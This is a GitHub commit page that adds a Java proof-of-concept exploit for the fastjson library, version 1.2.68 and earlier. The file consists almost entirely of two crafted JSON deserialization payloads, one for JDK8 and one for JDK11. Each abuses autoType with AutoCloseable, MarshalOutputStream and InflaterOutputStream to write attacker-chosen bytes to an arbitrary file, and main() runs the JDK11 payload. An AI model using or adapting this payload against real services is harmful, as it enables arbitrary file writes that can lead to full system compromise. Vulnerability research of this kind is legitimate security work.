Skip to content

Commit 96f81b8

Browse files
author
threedr3am
committed
add FileWriteBypassAutoType1_2_68
1 parent e86b677 commit 96f81b8

File tree

1 file changed

+68
-0
lines changed

1 file changed

+68
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package com.threedr3am.bug.fastjson.file;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import java.io.IOException;
5+
6+
/**
7+
*
8+
* fastjson <= 1.2.68
9+
*
10+
* todo 貌似ASM对于JDK8和JDK11字节码的本地变量表会有点特殊的处理,使得没有无参构造方法也能被反射实例化
11+
*
12+
* @author threedr3am
13+
*/
14+
public class FileWriteBypassAutoType1_2_68 {
15+
16+
17+
public static void main(String[] args) throws IOException {
18+
19+
String json = "{\n"
20+
+ " '@type':\"java.lang.AutoCloseable\",\n"
21+
+ " '@type':'sun.rmi.server.MarshalOutputStream',\n"
22+
+ " 'out':\n"
23+
+ " {\n"
24+
+ " '@type':'java.util.zip.InflaterOutputStream',\n"
25+
+ " 'out':\n"
26+
+ " {\n"
27+
+ " '@type':'java.io.FileOutputStream',\n"
28+
+ " 'file':'dst',\n"
29+
+ " 'append':false\n"
30+
+ " },\n"
31+
+ " 'infl':\n"
32+
+ " {\n"
33+
+ " 'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='\n"
34+
+ " },\n"
35+
+ " 'bufLen':1048576\n"
36+
+ " },\n"
37+
+ " 'protocolVersion':1\n"
38+
+ "}";
39+
// JSON.parse(json);
40+
41+
String json_for_jdk11 = "{\n"
42+
+ " '@type':\"java.lang.AutoCloseable\",\n"
43+
+ " '@type':'sun.rmi.server.MarshalOutputStream',\n"
44+
+ " 'out':\n"
45+
+ " {\n"
46+
+ " '@type':'java.util.zip.InflaterOutputStream',\n"
47+
+ " 'out':\n"
48+
+ " {\n"
49+
+ " '@type':'java.io.FileOutputStream',\n"
50+
+ " 'file':'dst',\n"
51+
+ " 'append':false\n"
52+
+ " },\n"
53+
+ " 'infl':\n"
54+
+ " {\n"
55+
+ " 'input':\n"
56+
+ " {\n"
57+
+ " 'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\n"
58+
+ " 'limit':22\n"
59+
+ " }\n"
60+
+ " },\n"
61+
+ " 'bufLen':1048576\n"
62+
+ " },\n"
63+
+ " 'protocolVersion':1\n"
64+
+ "}";
65+
JSON.parse(json_for_jdk11);
66+
}
67+
68+
}

0 commit comments

Comments
 (0)